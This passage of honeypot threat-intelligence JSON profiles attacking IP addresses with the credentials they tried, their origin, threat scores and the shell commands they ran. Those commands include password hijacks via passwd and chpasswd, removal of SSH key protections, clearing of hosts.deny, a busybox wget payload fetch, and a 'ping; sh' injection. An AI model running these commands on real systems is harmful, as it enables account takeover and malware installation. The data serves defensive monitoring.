      "last_seen": "2026-03-08T17:23:46.276Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test01",
        "345gs5662d34",
        "bogdan",
        "cliente",
        "nutanix",
        "peertube",
        "ram",
        "smb",
        "user"
      ],
      "passwords_attempted": [
        "12345678",
        "010203",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123#",
        "User@2025",
        "cliente1234",
        "password",
        "peertube123!",
        "test01pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test01pass\\nX1cuFuRyquj3\\nX1cuFuRyquj3\\n\"|passwd",
        "echo -e \"test01pass\\nX1cuFuRyquj3\\nX1cuFuRyquj3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T17:03:00.525000+00:00",
        "last_seen_30d": "2026-03-08T17:24:53.653000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "103.179.45.197": {
      "attack_count": 118,
      "first_seen": "2026-03-22T21:48:35.866Z",
      "last_seen": "2026-03-22T22:09:24.516Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bryan",
        "ceo",
        "frappeuser",
        "manu",
        "rsync",
        "sam",
        "sgp",
        "support",
        "toni"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bryan123",
        "Pa55word",
        "Rsync123",
        "ceo",
        "manu",
        "password",
        "sam1234",
        "sgp@123",
        "support2025",
        "toni123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:WKfTTQPmBy77\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 149020,
      "as_org": "WebHorizon Internet Services",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T21:48:35.866000+00:00",
        "last_seen_30d": "2026-03-22T22:10:28.723000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "167.99.42.137": {
      "attack_count": 100,
      "first_seen": "2026-03-16T07:25:04.033Z",
      "last_seen": "2026-03-16T07:44:05.963Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "root",
        "root1",
        "root12",
        "root123",
        "root1234",
        "root12345",
        "root123456",
        "root1234567"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T07:25:04.033000+00:00",
        "last_seen_30d": "2026-03-16T07:45:11.620000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 43
      }
    },
    "190.145.192.106": {
      "attack_count": 94,
      "first_seen": "2026-03-26T00:57:16.740Z",
      "last_seen": "2026-03-26T01:09:49.056Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "pzuser",
        "345gs5662d34",
        "a",
        "peertube",
        "root",
        "wade"
      ],
      "passwords_attempted": [
        "123456",
        "1Qaz2Wsx3Edc",
        "3245gs5662d34",
        "345gs5662d34",
        "a",
        "pzuserpass",
        "wade"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"pzuserpass\\nZE72pQfT1ajI\\nZE72pQfT1ajI\\n\"|passwd",
        "echo -e \"pzuserpass\\nZE72pQfT1ajI\\nZE72pQfT1ajI\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 14080,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T00:57:16.740000+00:00",
        "last_seen_30d": "2026-03-26T01:10:49.450000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 17
      }
    },
    "41.82.58.206": {
      "attack_count": 94,
      "first_seen": "2026-03-26T02:13:24.668Z",
      "last_seen": "2026-03-26T02:32:30.215Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "win",
        "345gs5662d34",
        "bart",
        "dachuang",
        "j",
        "mateusz"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "bart",
        "dachuang",
        "j",
        "mateusz",
        "win"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"win\\nEmHDwL9YZdnt\\nEmHDwL9YZdnt\\n\"|passwd",
        "echo -e \"win\\nEmHDwL9YZdnt\\nEmHDwL9YZdnt\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T02:13:24.668000+00:00",
        "last_seen_30d": "2026-03-26T02:33:35.222000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 19
      }
    },
    "122.165.121.195": {
      "attack_count": 79,
      "first_seen": "2026-03-26T00:33:17.727Z",
      "last_seen": "2026-03-26T00:40:19.210Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "puppet",
        "alice",
        "builder"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "alice123!",
        "builder123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nBVC8dN5bTSW5\\nBVC8dN5bTSW5\\n\"|passwd",
        "echo -e \"12345\\nBVC8dN5bTSW5\\nBVC8dN5bTSW5\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chengalpattu",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T00:33:17.727000+00:00",
        "last_seen_30d": "2026-03-26T00:40:19.210000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 79,
        "Suricata": 9
      }
    },
    "160.119.76.43": {
      "attack_count": 72,
      "first_seen": "2026-03-13T23:20:47.034Z",
      "last_seen": "2026-03-27T08:21:35.729Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "CONNECT httpbin.org:80 HTTP/1.1",
        "scan"
      ],
      "passwords_attempted": [
        "Host: httpbin.org:80",
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 75.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 12.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1845,
        "days_active_30d": 15,
        "ports_targeted_30d": 75,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-13T11:45:02+00:00",
        "last_seen_30d": "2026-03-27T09:44:10.810000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1248,
        "Honeytrap": 364,
        "Cowrie": 72,
        "Dionaea": 70,
        "Redishoneypot": 40,
        "Mailoney": 27,
        "ConPot": 14,
        "H0neytr4p": 5,
        "Miniprint": 3,
        "ElasticPot": 2
      }
    },
    "38.188.160.204": {
      "attack_count": 48,
      "first_seen": "2026-03-10T23:06:46.437Z",
      "last_seen": "2026-03-11T00:29:08.705Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "160389",
        "200286",
        "bertone",
        "cajoline",
        "dio",
        "electric",
        "higgins",
        "rayban",
        "tunis"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:06:46.437000+00:00",
        "last_seen_30d": "2026-03-11T00:30:18.013000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 24
      }
    },
    "164.90.172.68": {
      "attack_count": 41,
      "first_seen": "2026-03-09T01:57:44.654Z",
      "last_seen": "2026-03-09T01:59:00.500Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "GET / HTTP/1.0",
        "Max-Forwards: 70",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T01:57:44.654000+00:00",
        "last_seen_30d": "2026-03-09T02:08:42.354000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 41,
        "Suricata": 30
      }
    },
    "120.85.117.129": {
      "attack_count": 30,
      "first_seen": "2026-03-12T20:27:32.754Z",
      "last_seen": "2026-03-12T20:27:38.412Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "config terminal",
        "echo -ne \\x45\\x4c\\x46",
        "linuxshell",
        "shell",
        "start",
        "system",
        "./i",
        "/bin/busybox wget;/bin/busybox echo -ne '\\x45\\x4c\\x46'",
        "cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\\x45\\x4c\\x46'",
        "cp /bin/ls ii ; cat i > ii ; rm i ; cp ii i ; rm ii",
        "enable",
        "sh",
        "su",
        "wget",
        "wget http://192.168.1.1:8088/i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.command.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17622,
      "as_org": "China Unicom Guangzhou network",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T20:27:32.754000+00:00",
        "last_seen_30d": "2026-03-12T20:28:48.314000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 2
      }
    },
    "68.183.239.224": {
      "attack_count": 30,
      "first_seen": "2026-03-12T20:35:51.550Z",
      "last_seen": "2026-03-12T20:40:21.881Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "root1",
        "root12",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T20:35:51.550000+00:00",
        "last_seen_30d": "2026-03-12T20:41:29.686000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 12
      }
    },
    "8.137.156.127": {
      "attack_count": 27,
      "first_seen": "2026-03-14T20:01:50.018Z",
      "last_seen": "2026-03-14T20:35:32.747Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chengdu",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 230,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-14T19:51:41.810000+00:00",
        "last_seen_30d": "2026-03-14T20:41:19.903000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 119,
        "Redishoneypot": 90,
        "Cowrie": 21
      }
    },
    "103.176.16.234": {
      "attack_count": 26,
      "first_seen": "2026-03-23T00:30:59.193Z",
      "last_seen": "2026-03-23T00:33:47.472Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 135687,
      "as_org": "Qwistel Network Service Private Limited",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T00:30:59.193000+00:00",
        "last_seen_30d": "2026-03-23T00:34:54.305000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "162.214.114.117": {
      "attack_count": 25,
      "first_seen": "2026-03-10T20:03:10.430Z",
      "last_seen": "2026-03-13T13:12:43.209Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Kelltech@2020",
        "Kelltech@2021",
        "Kelltech@2022",
        "Kelltech@2023",
        "Kelltech@2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T20:03:10.430000+00:00",
        "last_seen_30d": "2026-03-13T13:13:48.688000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 15
      }
    },
    "114.33.12.13": {
      "attack_count": 21,
      "first_seen": "2026-03-29T15:03:18.603Z",
      "last_seen": "2026-03-29T15:03:52.170Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "sys"
      ],
      "passwords_attempted": [
        "7",
        "P",
        "admin",
        "root",
        "uplink"
      ],
      "commands_executed": [
        "shell",
        "system",
        "",
        "/bin/busybox cat /proc/self/exe || cat /proc/self/exe",
        "cat /proc/self/exe",
        "enable",
        "ping; sh",
        "sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.success",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T15:03:18.603000+00:00",
        "last_seen_30d": "2026-03-29T15:04:57.516000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 3
      }
    },
    "154.241.41.67": {
      "attack_count": 15,
      "first_seen": "2026-03-23T20:32:04.282Z",
      "last_seen": "2026-03-23T20:40:47.483Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "es",
        "innova",
        "root"
      ],
      "passwords_attempted": [
        "Asdf@1234",
        "elastic",
        "innova"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "M\u00e9d\u00e9a",
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T20:32:04.282000+00:00",
        "last_seen_30d": "2026-03-23T20:41:49.853000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "182.43.71.198": {
      "attack_count": 15,
      "first_seen": "2026-03-20T10:37:53.372Z",
      "last_seen": "2026-03-20T10:38:00.890Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T10:37:53.372000+00:00",
        "last_seen_30d": "2026-03-20T10:39:07.573000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "38.188.160.110": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:13:12.235Z",
      "last_seen": "2026-03-11T00:36:48.512Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "13011986",
        "2703",
        "rrrrr"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:13:12.235000+00:00",
        "last_seen_30d": "2026-03-11T00:37:51.865000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "118.112.69.170": {
      "attack_count": 10,
      "first_seen": "2026-03-27T23:17:54.177Z",
